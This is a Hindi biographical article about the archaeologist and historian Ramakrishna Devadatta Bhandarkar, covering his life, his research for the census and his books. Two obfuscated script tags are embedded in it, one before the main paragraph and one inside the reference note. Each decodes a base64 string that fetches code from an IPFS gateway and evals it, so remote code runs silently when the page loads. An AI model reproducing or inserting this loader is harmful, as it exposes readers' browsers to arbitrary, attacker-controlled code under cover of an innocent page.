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रामकृष्ण देवदत्त भंडारकर

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रामकृष्ण देवदत्त भंडारकर
रामकृष्ण देवदत्त भंडारकर
पूरा नाम रामकृष्ण देवदत्त भंडारकर
जन्म 19 नवम्बर, 1875
मृत्यु 13 मई, 1950
अभिभावक पिता- रामकृष्ण गोपाल भंडारकर
कर्म भूमि भारत
कर्म-क्षेत्र पुरातत्त्वइतिहास
मुख्य रचनाएँ 'भारतीय मुद्रा विज्ञान', 'अशोक' तथा 'प्राचीन भारत में राजतंत्र एवं लोकतंत्रात्मक संस्थाएं'।
प्रसिद्धि पुरातत्त्वविद
नागरिकता भारतीय
अन्य जानकारी रामकृष्ण देवदत्त भंडारकर ने गुजरात राष्ट्रकूट कुमार कर्क प्रथम, कुशाण शिलालेख और शक संवत के उद्भव का प्रश्न तथा इंडोसीथियन राजाओं के वंशक्रम विषयक रचनाएं कीं।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>रामकृष्ण देवदत्त भंडारकर (अंग्रेज़ी: Ramakrishna Devadatta Bhandarkar, जन्म- 19 नवम्बर, 1875, मृत्यु- 13 मई, 1950) जाने-माने प्रसिद्ध पुरातत्त्वविद थे। वह दीर्घकाल तक भारत के पुरातत्त्व सर्वेक्षण विभाग से संबद्ध रहे। विदिशा के निकट खुदाई कराई जिसमें ईसा पूर्व दूसरी शताब्दी के अनेक महत्त्वपूर्ण अवशेष प्राप्त हुए। उन्होंने अनेक शोध कार्य भी किये। भारतीय जनगणना के लिए धर्म और संप्रदाय तथा जातियां और कबीले विषयों के शोधपरक ग्रंथ तैयार किए।

परिचय

रामकृष्ण देवदत्त भंडारकर का जन्म 1875 ई. को हुआ था। इनके पिता का नाम रामकृष्ण गोपाल भंडारकर था। रामकृष्ण देवदत्त भंडारकर ने पालि भाषा में पुरालिपि विषय को लेकर शिक्षा पूरी की। आपने गुजरात राष्ट्रकूट कुमार कर्क प्रथम, कुशाण शिलालेख और शक संवत के उद्भव का प्रश्न तथा इंडोसीथियन राजाओं के वंशक्रम विषयक रचनाएं कीं। उक्त रचनाओं ने विद्वानों का ध्यान इनकी ओर आकृष्ट किया।

भंडारकर ने भारतीय जनगणना के लिए धर्म और संप्रदाय तथा जातियां और कबीले विषयों पर शोध के साथ-साथ अहीरों, गुर्जरों तथा गहलोतों पर भी विशेष अध्ययन किया। आपने कोलकाता विश्वविद्यालय में प्राचीन भारतीय इतिहास और संस्कृति के प्रोफेसर के पद पर रह कर सेवा की। [1]

रचनाएं

रामकृष्ण देवदत्त भंडारकर द्वारा लिखित निम्न पुस्तकें विशेष रूप से चर्चित हुईं-

  1. 'भारतीय मुद्रा विज्ञान'
  2. 'अशोक'
  3. 'प्राचीन भारत में राजतंत्र एवं लोकतंत्रात्मक संस्थाएं'


गुप्त शिलालेखों संबंधी ग्रंथ के संशोधन में भी आपका महत्त्वपूर्ण योगदान रहा।

मृत्यु

1950 ईस्वी में रामकृष्ण देवदत्त भंडारकर का देहांत हो गया।


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टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 727 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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